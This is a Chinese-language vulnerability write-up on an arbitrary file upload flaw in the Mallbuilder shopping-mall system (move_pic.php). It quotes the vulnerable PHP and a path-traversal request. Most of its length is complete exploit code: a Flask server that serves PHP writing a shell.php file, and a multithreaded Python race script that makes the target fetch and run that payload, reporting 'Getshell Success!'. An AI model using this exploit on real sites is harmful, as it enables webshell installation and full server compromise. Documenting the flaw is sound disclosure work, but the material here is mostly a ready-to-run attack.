Mallbuilder任意文件上传漏洞
企业级购物商城系统Mallbuilder,是支持多行业,多应用场景的购物商城系统。支持公有云,可灵活集成企业已有系统的购物商城系统。
受影响版本: v5.8.1.1 +
存在漏洞的文件: lib/smarty/move_pic.php 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php $jpname=$_GET["pname"].".jpg"; if($_GET["type"]=="delproimg") { @unlink("uploadfile/comimg/small/".$jpname); @unlink("uploadfile/comimg/big/".$jpname); } elseif($_GET["type"]=="pro") { $str=file_get_contents($_GET['url']."/uploadfile/comimg/big/".$jpname); $pic = "uploadfile/comimg/big/".$_GET["pname"]; $fp=fopen($pic,"w"); fwrite($fp,$str,strlen($str)); fclose($fp); makethumb($pic , "uploadfile/comimg/small/".$jpname , 100 , 100); rename($pic,$pic.".jpg"); }
|
$pic 是一个固定路径拼接上用户访问时传递过来的 pname , 通过构造pname,可以替换网站上任
意jpg后缀的图片。
构造如下请求,就可以覆盖imgae文件夹下的phpqrcode.jpg文件:
| http://localhost/mall/lib/smarty/move_pic.php?type=pro&url=http://localhost:82/a/b/c/d/e/f/g&pname=../../../../../image/phpqrcode
|

如果将 pname 的值置为test.php ,这段代码将先从指定的URL获取内容,命名为 test.php保存。然后生成缩略图,再将 test.php 重命名为 xxx.php.jpg 。 此时用多个线程去生成test.php ,再用多个线程去尝试请求 test.php ,就有可能成功执行 test.php中的代码。

漏洞利用代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
from flask import Flask from werkzeug.routing import BaseConverter
class RegexConverter(BaseConverter): def __init__(self, map, *args): self.map = map self.regex = args[0]
app = Flask(__name__) app.url_map.converters['regex'] = RegexConverter
@app.route('/<regex(".*"):url>') def index(url): return "<?php file_put_contents('shell.php','<?php phpinfo();');"
if __name__ == '__main__': app.run('127.0.0.1', 8080
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
|
import requests import threading FLAG = True VUL_HOST = 'http://localhost/mall/' IMG_URL = 'http://localhost:8080/a/b/c/d/e/f/g'
class Thread_One(threading.Thread): def __init__(self): threading.Thread.__init__(self) def run(self): url = '{0}lib/smarty/move_pic.php?type=pro&url={1}&pname=../../../../../image/test.php'.format(VUL_HOST, IMG_URL) while FLAG: requests.get(url)
class Thread_Two(threading.Thread): def __init__(self): threading.Thread.__init__(self) def run(self): global FLAG url = '{0}/image/test.php'.format(VUL_HOST) while True: http = requests.get(url) if http.status_code == 200: FLAG = False print 'Getshell Success!' print 'The shell url: {0}image/shell.php'.format(VUL_HOST) break def main(): t1 = Thread_One() t2 = Thread_Two() t1.start() t2.start() if __name__ == '__main__': main()
|